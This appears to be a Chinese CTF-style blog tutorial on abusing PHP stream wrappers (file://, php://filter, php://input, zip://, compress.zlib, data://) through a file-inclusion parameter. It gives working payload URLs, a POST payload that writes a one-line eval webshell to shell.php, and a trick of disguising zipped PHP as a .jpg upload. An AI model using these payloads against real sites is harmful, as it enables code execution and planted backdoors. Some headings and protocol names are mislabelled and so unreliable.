侧边栏壁纸
  • 累计撰写 19 篇文章
  • 累计创建 18 个标签
  • 累计收到 11 条评论

PHP伪协议

小海
2023-03-09 / 0 评论 / 3 点赞 / 1,028 阅读 / 1,906 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2023-03-09,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

PHP伪协议

一.【file://协议】

file://协议需要在双off的情况下正常下使用

allow_url_fopen=Off
allow_url_include=Off
file:// [文件的绝对路径和文件名]
http://localhost/cmd.php?file=file://D:/1.txt

img

二.【php://协议】

php://协议不需要开启allow_url_fopen,仅仅php://input、 php://stdin、 php://memoryphp://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是

php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://file读取源代码需要进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容

php://file同样也需要在双off的情况下使用

allow_url_fopen=Off
allow_url_include=Off

img

php://input可以访问请求的原始数据的只读流,将post请求中的数据作个PHP代码

php://input需要满足下面的条件

allow_url_fopen=Off/On
allow_url_include=On
http://localhost/cmd.php?file=php://input
[POST DATA]<?php phpinfo()?>
也可以通过写入一句话木马<?php fputs(fopen("shell.php","w"),'<?php eval($_POST[isns]);?>');?>

img

image.png

三.【zip://, bzip2://, zlib://协议】

zip://、bzip2://、zlib://协议在双off的情况下可正常使用;都属于压缩流,可以访问压缩文件中的子文件,不需要指定后缀名

allow_url_fopen=Off/On
allow_url_include=On

img

zip://协议

zip://archive.zip#dir/file.txt
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
http://localhost/cmd.php?file=zip://D:/phpstudy_pro/WWW/shell.zip%23shell.txt
http://localhost/cmd.php?file=zip://D:/phpstudy_pro/www/shell.jpg%23shell.txt
由于#在get请求中会将后面的参数忽略所以使用get请求的时候进行url编码#(%23)这里只能使用绝对路径

先将要执行的PHP代码写好文件名shell.txt,然后将shell.txt进行zip压缩文件名shell.zip

如果可以上传zip文件即可直接上传,若不能上传将后缀名修改wei.jpg后删除更换,其他几种压缩格式也可以

image.png

bzip2://协议

使用方法
compress.bzip2://file.bz2
http://localhost/cmd.php?file=compress.zlib://./get.jpg
http://localhost/cmd.php?file=compress.zlib://D:/phpstudy_pro/WWW/get.jpg

image.png
zip://协议

使用方法
compress.zlib://file.gz
http://localhost/cmd.php?file=compress.zlib://D:/phpstudy_pro/WWW/get.jpg
http://localhost/cmd.php?file=compress.zlib://./get.jpg

image.png

四.【data://协议】

data://协议在PHP版本5.2、5.3、5.5/7.0是受限于allow_url_fopen的。data://协议需要满足双On条件的

allow_url_fopen=On
allow_url_include=On

img

http://localhost/cmd.php?file=data://text/plain,<?php phpinfo()?>
http://localhost/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

五. 常规小结:

img

3

评论区